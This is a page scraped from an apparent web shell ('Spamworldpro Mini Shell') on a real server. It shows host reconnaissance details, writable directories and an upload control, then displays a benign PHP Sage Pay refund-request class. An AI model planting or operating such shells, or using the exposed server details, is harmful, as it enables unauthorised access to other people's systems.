Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/job-board.corals.io/Corals/modules/Payment/SagePay/Message/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/job-board.corals.io/Corals/modules/Payment/SagePay/Message/SharedRefundRequest.php
<?php

namespace Corals\Modules\Payment\SagePay\Message;

/**
 * Sage Pay Shared Refund Request
 */
class SharedRefundRequest extends AbstractRequest
{
    public function getTxType()
    {
        return static::TXTYPE_REFUND;
    }

    /**
     * @return array The message body data.
     */
    public function getData()
    {
        $this->validate('amount', 'transactionReference');
        $reference = json_decode($this->getTransactionReference(), true);

        $data = $this->getBaseData();

        $data['Amount'] = $this->getAmount();
        $data['Currency'] = $this->getCurrency();

        $data['Description'] = $this->getDescription();

        // Reference to the transaction to refund.
        $data['RelatedVendorTxCode'] = $reference['VendorTxCode'];
        $data['RelatedVPSTxId'] = $reference['VPSTxId'];
        $data['RelatedSecurityKey'] = $reference['SecurityKey'];
        $data['RelatedTxAuthNo'] = $reference['TxAuthNo'];

        // The VendorTxCode for THIS refund transaction (different from original)
        $data['VendorTxCode'] = $this->getTransactionId();

        return $data;
    }
}

Spamworldpro Mini